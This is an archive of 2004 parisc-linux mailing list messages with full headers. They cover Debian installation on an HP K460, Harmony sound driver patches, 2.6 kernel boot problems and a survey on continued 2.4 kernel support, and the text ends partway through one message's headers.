NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mxdog <mxdog@comcast.net>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 588 invoked by uid 65534); 21 May 2004 08:42:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 21 May 2004 10:42:55 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE9363BDF9; Fri, 21 May 2004 02:42:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id B39DF3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 May 2004 02:42:40 -0600 (MDT)
Original-Received: from [83.134.226.11] (port=32793 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BR5bz-0003pj-1O; Fri, 21 May 2004 10:42:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en
In-Reply-To: <000801c43e63$b0e63da0$f6e40718@mxdogxp>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21646

Hello,

mxdog wrote:
> Hello
> 
> I'm trying to make linux work on my K460 box. I'm an old dog ...a.k.a. z80 days (8 bit)...so I'm not a kernel hacker, and don't want to be, but I can write code if I'm absolutely forced to ( takes lot time learn the machines heart and soul...got past that with my commodore 64 and a few others) ..I have 20-9 gig drives on this machine that I would like to use for web page serving in the company,ftp ...mostly me...and inter-company and file storage/backup,email..possibly other stuff...like process control...maybe point of sale....the thing is this size company and the price we got the machine for cant beat it..this will be a perfect platform ( linux) and the hardware and software too is cheap ..LOL deliver us from evil...a.k.a. windows.
> 

Welcome, I am the same old dog so I try to contribute with test as relevant as possible to help hackers as afar as I can ;)

> OK LET ME MAKE A STATEMENT: I HATE HP-UX : been 5 weeks night and day trying to make that OS talk to me and make it do something useful  and all I ever seem to do is reinstall the system...ok enough said on that!
> 
umm we had in production some K4x0 (3 or 4) running hpux 10.20 without pb even with fc addon card on core io ;). (unfortunately I 
don't have time to take the opportunity to test linux with this box ;( )

> I can live in linux....been in there since 386 5.2 redhat....tried to make company I worked for go that way in 1985(Unix) ...but Bill got in the way...talent stealing shit he is. Ok enough politics.
> 
> here is my problem: I really have no idea what I'm supposed to download,make CD's and make my box work. hppa is supposed to be supported in 3.0 but I spend 3 days downloading all 7 CD's (ISO's) 3.0r2 and first load got kernel error...no detail..next email...
> 
Unfortunately the woody cd 3.0r2 was not well tested and there are many reports of install failure.
So generally it is recommended to try the new sarge debian-install netinstall-cd available at:
<http://cdimage.debian.org/pub/cdimage-testing/sarge_d-i/hppa/current/sarge-hppa-netinst.iso>

or the previous netinstall cd:
<http://www.pateam.org/cd-images/testing/>

And the FAQ page: <http://www.parisc-linux.org/faq/index.html> explain in detail how to burn, check and boot your cd ;)
(iirc there are also special recommandation for K model and ttyB0 aka pdc_console usage)

> this is the site that does this...I need help, you guys need an idiots guide to what works on a k box ( LOL or any  box)....bad joke.....what version etc.....hell I took 2 hours tonight for I found a doc that said the PDC isn't in the file name anymore.
> 
> kernel crash is best I can do from memory: KERNEL FAULT: CODE26 .....stack something does not point to c30.....and then a kernel dump
> sorry this isn't a bug report just a cry for help I'll do much better if I get a response
>
umm iirc CODE26 is a data page fault (new kernels available on sarge and pateam iso are more recent so certainly fix the pb?)

hth,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE &
	Implement SNDCTL_DSP_CHANNELS
Date: Mon, 24 May 2004 00:42:00 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <20040523234200.GA1893@calypso>
References: <20040222092057.GA2590@calypso> <20040223035601.GA988@calypso>
	<20040511052451.GC27478@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623449 9434 80.91.229.3 (22 Nov 2014 02:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25897 invoked by uid 65534); 23 May 2004 23:42:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 24 May 2004 01:42:09 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CF43E3BDDF; Sun, 23 May 2004 17:42:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by free.linux.hp.com (Postfix) with ESMTP id 7827E3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 May 2004 17:41:58 -0600 (MDT)
Original-Received: from calypso ([62.254.21.7]) by mta02-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040523234052.XDFN8778.mta02-svc.ntlworld.com@calypso>;
	Mon, 24 May 2004 00:40:52 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BS2bQ-0000g4-00; Mon, 24 May 2004 00:42:00 +0100
Content-Disposition: inline
In-Reply-To: <20040511052451.GC27478@colo.lackof.org>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21647

Hi Grant,

> Sorry for taking so long with this...I was expecting someone else
> to reply and maybe missed it. A couple of minor problems with
> your patch:

Actually, I think I should have been more persistent.

> 1) it's for 2.4 and I'm personally trying to focus on 2.6 tree now.
>    2.6 is ready for prime time. It's been my desktop/ftp/http server
>    (C3600) for the past couple of monthes and has proven very stable.
> 
> 2) OSS is "decprecated" according to the 2.6 sound/Kconfig "Help".
>    Ie use ALSA instead.  See SOUND_PRIME option.
> 
> 3) if no one else wants to poke at the 2.4 harmony driver, I will
>    just apply your patches on good faith that it builds/works for you.
>    Have you tweaked it more since Feb?

I've made some improvements to the mixer code, but OSS's mixer interface
seems to be inadequate.  I can post a patch that improves the mixer code
slightly.  Other than that, I haven't changed anything.

Under high load, I tend to get panics when using the Harmony driver.
I've no idea why this is, and I wish I could understand the low-level
code a bit better.  This has nothing to do with my patches, though.
(I.e. it crashes with them and it crashes without them.)

http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022432.html
is probably more of an issue for lkml.  (There's a slight mistake in
that patch - I forgot the closing */ on line 42.)

> In 2.6, ALSA harmony driver does NOT compile and that's disappointing.

I would love to try and help with the 2.6 drivers instead.
Unfortunatlely, I can't get 2.6 to boot.  This is all that I see:

Command line for kernel: 'root=/dev/sda6 HOME=/ console=tty0 sti=1
sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux-2.6'
Selected kernel: /vmlinux-2.6 from partition 2
ELF32 executable
Entry 001001c0 first 00100000 n 3
Segment 0 load 00100000 size 2520296 mediaptr 0x1000
Segment 1 load 00368000 size 565504 mediaptr 0x269000
Segment 2 load 003f4000 size 581766 mediaptr 0x2f4000
Branching to kernel entry point 0x001001c0.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

I have another graphics card in this machine, so I'm wondering whether
that has anything to do with this.  FWIW, it's a 715/100.  I'm using the
prebuilt palinux-32-2.6.6-pa4_0-2_all.deb package from
http://cvs.parisc-linux.org/download/linux-2.6/

Thanks,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE &
	Implement SNDCTL_DSP_CHANNELS
Date: Mon, 24 May 2004 19:30:01 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <40B23119.2020203@hrzpub.tu-darmstadt.de>
References: <20040222092057.GA2590@calypso>
	<20040223035601.GA988@calypso>	<20040511052451.GC27478@colo.lackof.org>
	<20040523234200.GA1893@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623450 9436 80.91.229.3 (22 Nov 2014 02:30:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18950 invoked by uid 65534); 24 May 2004 17:29:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 24 May 2004 19:29:30 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B32C33BDD6; Mon, 24 May 2004 11:29:13 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de
	(mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by free.linux.hp.com (Postfix) with ESMTP id 2AD3F3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 11:29:10 -0600 (MDT)
Original-Received: from [213.157.7.188] (IP-213157007188.dialin.heagmedianet.de
	[213.157.7.188]) (authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id
	i4OHSohk001597
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO);
	Mon, 24 May 2004 19:28:55 +0200
User-Agent: Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <20040523234200.GA1893@calypso>
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=0,
	benoetigt 5)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21648

Hello,

Stuart Brady schrieb:

>>In 2.6, ALSA harmony driver does NOT compile and that's disappointing.
>>    
>>
as I (and others) wrote in a former mail ALSA harmony driver from ALSA 
cvs does compile. Just copy harmony.c from ALSA cvs into kernel source, 
fix two typos (haromny -> harmony) and voil... Boot log shows:

    Advanced Linux Sound Architecture Driver Version 1.0.4.
    Lasi Harmony Audio driver h/w id 20, rev. 18 at 0xf0104000, IRQ 82
    harmony: Successfully registered harmony pcm backend & mixer 0
    ALSA device list:
      #0: ALSA driver for LASI Harmony at h/w, id 20, rev. 18 hpa
    0xf0104000, IRQ 82

There is just one problem ;). One can't unmute  main volume. I can 
change volume settings using aumix, but they get canceled when closing 
aumix. But perhaps this can be fixed easily by s.o. who has the force... ;)

>
>I would love to try and help with the 2.6 drivers instead.
>Unfortunatlely, I can't get 2.6 to boot.  This is all that I see:
>
>Command line for kernel: 'root=/dev/sda6 HOME=/ console=tty0 sti=1
>sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux-2.6'
>Selected kernel: /vmlinux-2.6 from partition 2
>ELF32 executable
>Entry 001001c0 first 00100000 n 3
>Segment 0 load 00100000 size 2520296 mediaptr 0x1000
>Segment 1 load 00368000 size 565504 mediaptr 0x269000
>Segment 2 load 003f4000 size 581766 mediaptr 0x2f4000
>Branching to kernel entry point 0x001001c0.  If this is the last
>message you see, you may need to switch your console.  This is
>a common symptom -- search the FAQ and mailing list at parisc-linux.org
>  
>
I also have an 715/100 with two graphics card and I'm using current cvs 
kernel (2.6.7-rc1-pa1). It works for me. My command line for the kernel is:
'root=/dev/sdb4 HOME=/ console=tty0 sti=1 sti_font=VGA8x16 TERM=linux 
palo_kernel=2/vmlinux'. I can also give you my .config if you are 
interested in.

>I have another graphics card in this machine, so I'm wondering whether
>that has anything to do with this.  FWIW, it's a 715/100.  I'm using the
>prebuilt palinux-32-2.6.6-pa4_0-2_all.deb package from
>http://cvs.parisc-linux.org/download/linux-2.6/
>
>Thanks,
>  
>
Thanks,
Ruediger
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 11:32:27 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20040524183227.GW7207__28676.1076808491$1416623450$gmane$org@tausq.org>
Reply-To: parisc-linux@lists.parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623450 9440 80.91.229.3 (22 Nov 2014 02:30:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1273 invoked by uid 65534); 24 May 2004 18:33:13 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx045) with SMTP; 24 May 2004 20:33:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id AE2E0EC56; Mon, 24 May 2004 13:32:59 -0500 (CDT)
Old-Return-Path: <randolph@tausq.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by murphy.debian.org (Postfix) with ESMTP id 69636EC6E
	for <debian-hppa@lists.debian.org>; Mon, 24 May 2004 13:32:20 -0500 (CDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CE367CD299; Mon, 24 May 2004 11:32:27 -0700 (PDT)
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Rc-Virus: 2004-05-14_01
X-Rc-Spam: 2004-05-23_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_23_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=none autolearn=no 
	version=2.63-lists.debian.org_2004_05_23_01
Resent-Message-ID: <BhLjjC.A.JHC.a_jsAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3610
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 24 May 2004 13:32:59 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21649

Hi all,

I'd like to take an informal "survey" of what kernel versions people are
using....

For the last year or two, most of the kernel developers have been
focusing on the 2.5/2.6 kernels; as a result many bugs that were
presented in both 2.4 and 2.6 kernels have been only fixed in 2.6. This
is understandable given that there are only a few active parisc-linux
kernel developers.... moving foward it is becoming more difficult to
support the 2.4.x kernels, and we are finding that we need to put in
some not-so-nice workarounds in some userspace tools to cope with bugs
in the 2.4 kernel.

So, the question is, how many of you run parisc-linux on 2.4
"production" systems and "cannot" switch to 2.6? At last count there are
about 1200 registered parisc-linux users on the p-l website, and i know
at least some folks run parisc-linux on decent-sized clusters... so we 
definitely don't want to break things if people are using 2.4 actively 
on these systems and have legitimate reasons not to move to 2.6....

If you are one of those people who really care about 2.4 support, please
speak up now! 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 21:07:52 +0200 (MEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <200405241907.i4OJ7qZb032746__33476.3435800143$1416623451$gmane$org@arbas.nms.ulrich-teichert.org>
References: <20040524183227.GW7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623451 9441 80.91.229.3 (22 Nov 2014 02:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:51 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14173 invoked by uid 65534); 24 May 2004 19:00:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 24 May 2004 21:00:09 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C2F1C3BE0C; Mon, 24 May 2004 12:59:55 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from arbas.nms.ulrich-teichert.org (i3ED64D0E.versanet.de
	[62.214.77.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7CE573BDD9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 12:59:52 -0600 (MDT)
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1) with ESMTP id
	i4OJ7qYT032747; Mon, 24 May 2004 21:07:52 +0200
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1/Submit) id
	i4OJ7qZb032746; Mon, 24 May 2004 21:07:52 +0200
X-Authentication-Warning: arbas.nms.ulrich-teichert.org: ut set sender to
	krypton using -f
In-Reply-To: <20040524183227.GW7207@tausq.org> from "Randolph Chung" at May 24,
	2004 11:32:27 AM
X-Mailer: ELM [version 2.5 PL2]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21650

Hi,

>I'd like to take an informal "survey" of what kernel versions people are
>using....

Mostly, 2.4.17, the debian default kernel or 2.4.25/6-pa*.

>For the last year or two, most of the kernel developers have been
>focusing on the 2.5/2.6 kernels; as a result many bugs that were
>presented in both 2.4 and 2.6 kernels have been only fixed in 2.6. This
>is understandable given that there are only a few active parisc-linux
>kernel developers.... moving foward it is becoming more difficult to
>support the 2.4.x kernels, and we are finding that we need to put in
>some not-so-nice workarounds in some userspace tools to cope with bugs
>in the 2.4 kernel.

I understand the pain to maintain 2 trees. I once had to maintain 4
separate trees (in SCCS - ouch), which at least doubled the pain, but
I think it grows exponential.

>So, the question is, how many of you run parisc-linux on 2.4
>"production" systems and "cannot" switch to 2.6? At last count there are
>about 1200 registered parisc-linux users on the p-l website, and i know
>at least some folks run parisc-linux on decent-sized clusters... so we 
>definitely don't want to break things if people are using 2.4 actively 
>on these systems and have legitimate reasons not to move to 2.6....

Right now, I use debian woody on all my boxes and upgrading to testing
is a PITA for me, as I only have an ISDN line (*one* line - 64k). I usually
install from CD-ROM.

>If you are one of those people who really care about 2.4 support, please
>speak up now! 

Actually, I only have two HPPA production systems, my firewall (a 712/80)
and a 240, everything else is for fooling around - but both are on debian
woody and more or less tied to 2.4. Or are there offical woody backports of
the toolchain needed for 2.6 (preferred under 1G...)?

CU,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de
Stormweg 24               |listening to: Noticable One (Rotten Apples)
24539 Neumuenster, Germany|Obstacle 1 (Interpol) Paranoia (N.Y. Rel-X)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: William Waites <ww@parc.styx.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 15:32:05 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20040524193205.GB51036@parc.styx.org>
References: <20040524183227.GW7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623451 9444 80.91.229.3 (22 Nov 2014 02:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22654 invoked by uid 65534); 24 May 2004 19:28:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 24 May 2004 21:28:52 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E148F3BE2D; Mon, 24 May 2004 13:28:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from parc.styx.org (PARC.STYX.ORG [209.161.199.225])
	by free.linux.hp.com (Postfix) with ESMTP id 4E6C23BE23
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 13:28:33 -0600 (MDT)
Original-Received: by parc.styx.org (Postfix, from userid 1000)
	id EDDCCC8; Mon, 24 May 2004 15:32:05 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20040524183227.GW7207@tausq.org>
User-Agent: Mutt/1.4.2.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
